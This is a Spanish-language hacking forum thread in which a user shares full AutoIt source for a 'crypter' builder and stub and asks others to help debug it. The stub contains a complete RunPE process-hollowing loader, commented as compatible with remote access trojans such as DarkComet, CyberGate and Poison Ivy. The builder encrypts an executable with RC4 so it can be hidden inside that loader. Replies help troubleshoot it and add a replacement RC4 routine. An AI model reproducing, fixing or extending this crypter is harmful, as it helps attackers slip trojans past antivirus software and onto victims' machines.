Hola es un crypter basico hecho por m3 me encripta bien pero cuando lo desencripto con el stub de m3 no lo hace tengo que usar uno en c# y quería hacer uno en autoit.
El código del build:
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <WinAPI.au3>

;==============================================;
; Dragon AutoIt Simple Crypter M3			  ;
; Coded By M3								  ;
; For  Http://www.hackcommunity.com/		   ;
;==============================================;


#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Dragon Autoit Crypter M3", 365, 168, -1, -2 ,-1,$WS_EX_ACCEPTFILES)
GUISetOnEvent($GUI_EVENT_DROPPED, "sDragAndDrop")
GUISetCursor (3)
GUISetFont(8, 400, 0, "Cambria")
GUISetBkColor(0x000000)
WinSetOnTop($Form1, "", 1)
$Text1 = GUICtrlCreateInput("Drag And Drop ....", 8, 118, 350, 16)
GUICtrlSetState(-1, $GUI_DROPACCEPTED)
GUISetState(@SW_SHOW)
GUICtrlSetCursor (-1, 3)
$Text2 = GUICtrlCreateInput("<<<<<  Pass  >>>>>", 8, 147, 100, 16)
GUICtrlSetCursor (-1, 3)
$Crypt = GUICtrlCreateButton("Encryptar", 115, 145, 120, 20)
GUICtrlSetCursor (-1, 3)
$AboutSoftware = GUICtrlCreateButton("Acerca De", 240, 145, 120, 20)
GUICtrlSetCursor (-1, 3)
$sProgressBar = GUICtrlCreateProgress(8, 137, 350, 6)
$sImage = GUICtrlCreatePic("AutoItCliente.jpg", 0, 0, 393, 113)
#EndRegion ### END Koda GUI section ###




	;Simple Form Efect

$Long = 1
Do

  _WinAPI_SetWindowRgn($Form1, _WinAPI_CreateRoundRectRgn(0, 0, 560 , $Long , 0 ,  0))
  Sleep(1)
  $Long = $Long + 1

Until $Long = 200





	While 1


	 $nMsg = GUIGetMsg()
	 Switch $nMsg



	 Case $GUI_EVENT_CLOSE
	 Exit




	 Case $AboutSoftware

	 Msgbox (64,"AutoIt Crypter M3" ,"Coded By  M3 , Thanks to TranceXX")




	 Case $Crypt


	 If GuiCtrlRead($Text1) = "Drag and Drop your file ...." then
	 Msgbox(0,"Atention ","First Drag and Drop your File")
	 Exit
		 Endif




 FileWrite (@ScriptDir & "\Stub.exe", GuiCtrlRead($Text2))

		 $sKey = "\\BYM3\\"

 $stub = FileOpen(@ScriptDir & "\Stub.exe")

 $sStub = FileRead($stub)

 $sArquive = FileRead(FileOpen(GuiCtrlRead($Text1)))

 $sArquive = _RC4($sArquive,$sKey)

		 $salvar = FileOpen(FileSaveDialog("Save File", @ScriptDir, "PE Files(*.exe)") & ".exe", 18)

		 FileWrite($salvar, $sStub)

 FileWrite($salvar, StringToBinary($sKey))

 FileWrite($salvar, $sArquive)

 FileClose($stub)

 FileClose($Text1)

 Fileclose($Salvar)


		 GUICtrlSetData ($sProgressBar,GUICtrlRead($sProgressBar) + 100)



	EndSwitch

	WEnd






Func sDragAndDrop()

ConsoleWrite("ID: " & @GUI_DRAGID & " File: " & @GUI_DRAGFILE & " Drop: " & @GUI_DROPID & @CRLF)

EndFunc





	Func _RC4($Data, $key)


	  Local $OPCODE = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
   Local $CodeBuffer = DllStructCreate("byte[" & BinaryLen($OPCODE) & "]")
   DllStructSetData($CodeBuffer, 1, $OPCODE)
   Local $Buffer = DllStructCreate("byte[" & BinaryLen($Data) & "]")
   DllStructSetData($Buffer, 1, $Data)
   DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($CodeBuffer), "ptr", DllStructGetPtr($Buffer), "int", BinaryLen($Data), "str", $key, "int", 0)
   Local $Ret = DllStructGetData($Buffer, 1)
   $Buffer = 0
   $CodeBuffer = 0
   Return $Ret


	EndFunc
El stub.. es lo que no me va..
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=..\..\..\..\System\ICO HD\Enhancedlabs-Longhorn-Pinstripe-Network-copy.ico
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_UseUpx=n
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

;==============================================;
; Dragon AutoIt Crypter M3					 ;
; Coded By M3								  ;
; Thanks to TRANCEXX for RunPe				 ;
; Keep Credits if you Using Source			 ;
;==============================================;

SubMain()


Func SubMain()

  $sAppPath = @ScriptFullPath
  $sKey = "\\BYM3\\"
  $AppExe = "hola.exe.exe"
  $sArquive = FileRead($sAppPath)
  $sParams = StringInstr($sArquive, $sKey)
  $sLen = $sParams + sLenEx ($sKey)
  $sArquive = StringMid($sArquive,  $sLen)
  Call (_RunPE(_RC4($sArquive, $sKey)))

	EndFunc




Func _RC4($Data, $key)


	  Local $sOpcode = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
   Local $CodeBuffer = DllStructCreate("byte[" & BinaryLen($sOpcode) & "]")
   DllStructSetData($CodeBuffer, 1, $sOpcode)
   Local $Buffer = DllStructCreate("byte[" & BinaryLen($Data) & "]")
   DllStructSetData($Buffer, 1, $Data)
   DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($CodeBuffer), "ptr", DllStructGetPtr($Buffer), "int", BinaryLen($Data), "str", $key, "int", 0)
   Local $Ret = DllStructGetData($Buffer, 1)
   $Buffer = 0
   $CodeBuffer = 0
   Return $Ret


	EndFunc




	Func sLenEx($sStr)

   Local $Result , $i , $bLen
   Do
   $i = $i + 1
   $bLen = StringLeft($sStr, $i)
   $Result = $i
   Until  $sStr = $bLen
   Return $Result

	EndFunc




	Func _RunPE($BBINARYIMAGE)

; RunPe
; Compatible with RATs >>  Cybergate | SpyNet | Poyson Ivy | DarkCommet
Local $BBINARY = Binary($BBINARYIMAGE)
	Local $TBINARY = DllStructCreate("byte[" & BinaryLen($BBINARY) & "]")
	DllStructSetData($TBINARY, 1, $BBINARY)
	Local $PPOINTER = DllStructGetPtr($TBINARY)
	Local $TSTARTUPINFO = DllStructCreate("dword  cbSize;" & "ptr Reserved;" & "ptr Desktop;" & "ptr Title;" & "dword X;" & "dword Y;" & "dword XSize;" & "dword YSize;" & "dword XCountChars;" & "dword YCountChars;" & "dword FillAttribute;" & "dword Flags;" & "ushort ShowWindow;" & "ushort Reserved2;" & "ptr Reserved2;" & "ptr hStdInput;" & "ptr hStdOutput;" & "ptr hStdError")
	Local $TPROCESS_INFORMATION = DllStructCreate("ptr Process;" & "ptr Thread;" & "dword ProcessId;" & "dword ThreadId")
	Local $ACALL = DllCall("Kernel32", "int", "CreateProcessW", "wstr", @AutoItExe, "ptr", 0, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($TSTARTUPINFO), "ptr", DllStructGetPtr($TPROCESS_INFORMATION))
	Local $HPROCESS = DllStructGetData($TPROCESS_INFORMATION, "Process")
	Local $HTHREAD = DllStructGetData($TPROCESS_INFORMATION, "Thread")
	Local $TCONTEXT = DllStructCreate("dword ContextFlags;" & "dword Dr0;" & "dword Dr1;" & "dword Dr2;" & "dword Dr3;" & "dword Dr6;" & "dword Dr7;" & "dword ControlWord;" & "dword StatusWord;" & "dword TagWord;" & "dword ErrorOffset;" & "dword ErrorSelector;" & "dword DataOffset;" & "dword DataSelector;" & "byte RegisterArea[80];" & "dword Cr0NpxState;" & "dword SegGs;" & "dword SegFs;" & "dword SegEs;" & "dword SegDs;" & "dword Edi;" & "dword Esi;" & "dword Ebx;" & "dword Edx;" & "dword Ecx;" & "dword Eax;" & "dword Ebp;" & "dword Eip;" & "dword SegCs;" & "dword EFlags;" & "dword Esp;" & "dword SegS")
	DllStructSetData($TCONTEXT, "ContextFlags", 65538)
	$ACALL = DllCall("Kernel32", "int", "GetThreadContext", "ptr", $HTHREAD, "ptr", DllStructGetPtr($TCONTEXT))
	Local $TIMAGE_DOS_HEADER = DllStructCreate("char Magic[2];" & "ushort BytesOnLastPage;" & "ushort Pages;" & "ushort Relocations;" & "ushort SizeofHeader;" & "ushort MinimumExtra;" & "ushort MaximumExtra;" & "ushort SS;" & "ushort SP;" & "ushort Checksum;" & "ushort IP;" & "ushort CS;" & "ushort Relocation;" & "ushort Overlay;" & "char Reserved[8];" & "ushort OEMIdentifier;" & "ushort OEMInformation;" & "char Reserved2[20];" & "dword AddressOfNewExeHeader", $PPOINTER)
	$PPOINTER += DllStructGetData($TIMAGE_DOS_HEADER, "AddressOfNewExeHeader")
	Local $SMAGIC = DllStructGetData($TIMAGE_DOS_HEADER, "Magic")
	If Not ($SMAGIC == "MZ") Then
	DllCall("Kernel32", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
	Return SetError(3, 0, 0)
	EndIf
	Local $TIMAGE_NT_SIGNATURE = DllStructCreate("dword Signature", $PPOINTER)
	$PPOINTER += 4
	If DllStructGetData($TIMAGE_NT_SIGNATURE, "Signature") <> 17744 Then
	DllCall("Kernel32", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
	Return SetError(4, 0, 0)
	EndIf
	Local $TIMAGE_FILE_HEADER = DllStructCreate("ushort Machine;" & "ushort NumberOfSections;" & "dword TimeDateStamp;" & "dword PointerToSymbolTable;" & "dword NumberOfSymbols;" & "ushort SizeOfOptionalHeader;" & "ushort Characteristics", $PPOINTER)
	Local $INUMBEROFSECTIONS = DllStructGetData($TIMAGE_FILE_HEADER, "NumberOfSections")
	$PPOINTER += 20
	Local $TIMAGE_OPTIONAL_HEADER = DllStructCreate("ushort Magic;" & "ubyte MajorLinkerVersion;" & "ubyte MinorLinkerVersion;" & "dword SizeOfCode;" & "dword SizeOfInitializedData;" & "dword SizeOfUninitializedData;" & "dword AddressOfEntryPoint;" & "dword BaseOfCode;" & "dword BaseOfData;" & "dword ImageBase;" & "dword SectionAlignment;" & "dword FileAlignment;" & "ushort MajorOperatingSystemVersion;" & "ushort MinorOperatingSystemVersion;" & "ushort MajorImageVersion;" & "ushort MinorImageVersion;" & "ushort MajorSubsystemVersion;" & "ushort MinorSubsystemVersion;" & "dword Win32VersionValue;" & "dword SizeOfImage;" & "dword SizeOfHeaders;" & "dword CheckSum;" & "ushort Subsystem;" & "ushort DllCharacteristics;" & "dword SizeOfStackReserve;" & "dword SizeOfStackCommit;" & "dword SizeOfHeapReserve;" & "dword SizeOfHeapCommit;" & "dword LoaderFlags;" & "dword NumberOfRvaAndSizes", $PPOINTER)
	$PPOINTER += 96
	Local $IMAGIC = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "Magic")
	If $IMAGIC <> 267 Then
	DllCall("Kernel32", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
	Return SetError(5, 0, 0)
	EndIf
	Local $IENTRYPOINTNEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "AddressOfEntryPoint")
	$PPOINTER += 128
	Local $POPTIONALHEADERIMAGEBASENEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "ImageBase")
	Local $IOPTIONALHEADERSIZEOFIMAGENEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "SizeOfImage")
	$ACALL = DllCall("Ntdll", "int", "NtUnmapViewOfSection", "ptr", $HPROCESS, "ptr", $POPTIONALHEADERIMAGEBASENEW)
	$ACALL = DllCall("Kernel32", "ptr", "VirtualAllocEx", "ptr", $HPROCESS, "ptr", $POPTIONALHEADERIMAGEBASENEW, "dword", $IOPTIONALHEADERSIZEOFIMAGENEW, "dword", 12288, "dword", 64)
	Local $PREMOTECODE = $ACALL[0]
	Local $PHEADERS_NEW = DllStructGetPtr($TIMAGE_DOS_HEADER)
	Local $IOPTIONALHEADERSIZEOFHEADERSNEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "SizeOfHeaders")
	$ACALL = DllCall("Kernel32", "int", "WriteProcessMemory", "ptr", $HPROCESS, "ptr", $PREMOTECODE, "ptr", $PHEADERS_NEW, "dword", $IOPTIONALHEADERSIZEOFHEADERSNEW, "dword*", 0)
	Local $TIMAGE_SECTION_HEADER
	Local $ISIZEOFRAWDATA, $PPOINTERTORAWDATA
	Local $IVIRTUALADDRESS
	For $I = 1 To $INUMBEROFSECTIONS
	$TIMAGE_SECTION_HEADER = DllStructCreate("char Name[8];" & "dword UnionOfVirtualSizeAndPhysicalAddress;" & "dword VirtualAddress;" & "dword SizeOfRawData;" & "dword PointerToRawData;" & "dword PointerToRelocations;" & "dword PointerToLinenumbers;" & "ushort NumberOfRelocations;" & "ushort NumberOfLinenumbers;" & "dword Characteristics", $PPOINTER)
	$ISIZEOFRAWDATA = DllStructGetData($TIMAGE_SECTION_HEADER, "SizeOfRawData")
	$PPOINTERTORAWDATA = DllStructGetPtr($TIMAGE_DOS_HEADER) + DllStructGetData($TIMAGE_SECTION_HEADER, "PointerToRawData")
	$IVIRTUALADDRESS = DllStructGetData($TIMAGE_SECTION_HEADER, "VirtualAddress")
	If $ISIZEOFRAWDATA Then
	$ACALL = DllCall("Kernel32", "int", "WriteProcessMemory", "ptr", $HPROCESS, "ptr", $PREMOTECODE + $IVIRTUALADDRESS, "ptr", $PPOINTERTORAWDATA, "dword", $ISIZEOFRAWDATA, "dword*", 0)
	EndIf
	$PPOINTER += 40
	Next
	DllStructSetData($TCONTEXT, "Eax", $PREMOTECODE + $IENTRYPOINTNEW)
	$ACALL = DllCall("Kernel32", "int", "SetThreadContext", "ptr", $HTHREAD, "ptr", DllStructGetPtr($TCONTEXT))
	$ACALL = DllCall("Kernel32", "int", "ResumeThread", "ptr", $HTHREAD)
	EndFunc
Lo que hago es indicarle la ruta en:
$AppExe = "miejecutable encriptado.exe"
;aqui le pongo la key 1234
$sKey = "\\1234\\"
Sin embargo el stub nunca me abre me encripta pero el stub no me funciona. Lo siento pero soy un n3p3z0 en autoit. :laughing1:
Defender a los debiles!
Usa @ScriptFullPath o @AutoItExe Leo.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Ah probe a cambiar eso $sAppPath = @AutoItExe ya que se supone que $sAppPath es la ruta del fichero encriptado.
pero devolvio
Imagen

Disculpa que sea tan n4p4 . Intentaré usar el modo debugger a ver si así doy con el clavo.
Defender a los debiles!
Si le puse la misma:
Imagen


Probe con delimitadores ya que a lo mejor era por eso:
Imagen


Simplemente hice el cambio de la ruta:
$sAppPath = @AutoItExe

Es el mismo ejemplo de arriba , intentaré seguir viendo a ver a lo mejor se me paso algun detalle.
Defender a los debiles!
La ruta no la deberías cambiar, una cosa es la macro @AutoItExe, que devuelve la ruta del interprete de autoit y otra cosa es @ScriptFullPath, que retorna la ruta completa del script. Si estás ejecutando el stub desde SciTE (el editor) debes usar @AutoItExe, de lo contrario, si estás ejecutándolo desde un archivo compilado, usa @ScriptFullPath.
Tambien intente con eso:
[Enlace externo eliminado para invitados]

Build:

Mostrar/Ocultar

Stub:

Mostrar/Ocultar

Seguire mirando a ver si doy con el clavo.
Defender a los debiles!
Puede que estés usando el mismo Delimitador ("\\BYM3\\") que la Clave de Encryptacion que introduces en la GUI y causa conflictos a la hora de obtener la clave, a mi así me funciona bien.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Gracias por la ayuda! Estuve chequeando lo que me dijeron y me di cuenta de una cosa y esque el problema no es el delimitador creo. El error que devolvia antes era porque abria el stub y el stub devuelve error ya que no tiene el fichero para cargarlo en memoria.
Entonces viendo me di cuenta que me pone que el fichero es demasiado grande para cargarse en memoria:
[Enlace externo eliminado para invitados]

Pero lo curioso esque mi fichero no es grande ni nada por el estilo es el siguiente script en autoit pequeñito:

Mostrar/Ocultar

El build:

Mostrar/Ocultar

El stub con su runpe( que es el runpe cuando abro el fichero generado me dice es demasiado grande, fichero generado no el stub sino el fichero que genera para arrancar el programa)
Codigo del stub:

Mostrar/Ocultar

Seguire tu consejo y seguire chekeando eso de delimitadores y al mismo tiempo el runpe a ver.
De todos modos si a scorpio le funciono quiere decir que funciona bien.
Defender a los debiles!
No puedes Cargar un ejecutable de AutoIt en memoria con un RunPE, basicamente por que no es un compilado nativo. Prueba con un anotador en VB6 mismamente, y en el TextBox de la GUI (No se si es para delimitador o contraseña de cifrado pero es inutil.) introduce un valor diferente a la contraseña de cifrado por que al añadir la misma lees la Clave como si fuera parte del ejecutable a inyectar.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Primero gracias por vuestra ayuda! . Probe eso que me dijistes del anotador:
[Enlace externo eliminado para invitados]
Intente con la key diferente también devuelve el error anterior de nvtdm.

El anotador basicamente es esto un programa en vb6.0 con el formulario:
Imagen


El builder:

Mostrar/Ocultar

El stub:

Mostrar/Ocultar

Seguire intentando a ver si doy con el clavo!
Defender a los debiles!
Ese error de 'illegal instruction' me suena a que hay un error en el RC4, prueba este:

Código: Seleccionar todo

Func RC4($key, $value)
    Local $S[256], $i, $j, $c, $t, $x, $y, $output
    Local $keyLength = BinaryLen($key), $valLength = BinaryLen($value)
    For $i = 0 To 255
        $S[$i] = $i
    Next
    For $i = 0 To 255
        $j = Mod($j + $S[$i] + Dec(StringTrimLeft(BinaryMid($key, Mod($i, $keyLength) + 1, 1), 2)), 256)
        $t = $S[$i]
        $S[$i] = $S[$j]
        $S[$j] = $t
    Next
    For $i = 1 To $valLength
        $x = Mod($x + 1, 256)
        $y = Mod($S[$x] + $y, 256)
        $t = $S[$x]
        $S[$x] = $S[$y]
        $S[$y] = $t
        $j = Mod($S[$x] + $S[$y], 256)
        $c = BitXOR(Dec(StringTrimLeft(BinaryMid($value, $i, 1), 2)), $S[$j])
        $output = Binary($output) & Binary('0x' & Hex($c, 2))
    Next
    Return $output
EndFunc
Vale intente poner el rc4 en ambos (lo cual no se si he hecho bien) porque cuando se lo ponia en el stub solo me devolvia el mismo error anterior que mencione por lo que pense cambiar de ambos.

Pero cuando incluyo la funcion de rc4 en el stub no pasa nada si la incluyo en builder me devuelve el siguiente error.
Imagen


El builder:

Mostrar/Ocultar

El stub:

Mostrar/Ocultar

Seguramente sea la funcion rc4 qe este bugueada como dice blau.
Defender a los debiles!
Tienes que fijarte en los parámetros de la función RC4 que te pasé, primero va la clave y luego el búfer...
Responder

Volver a “Dudas y Preguntas”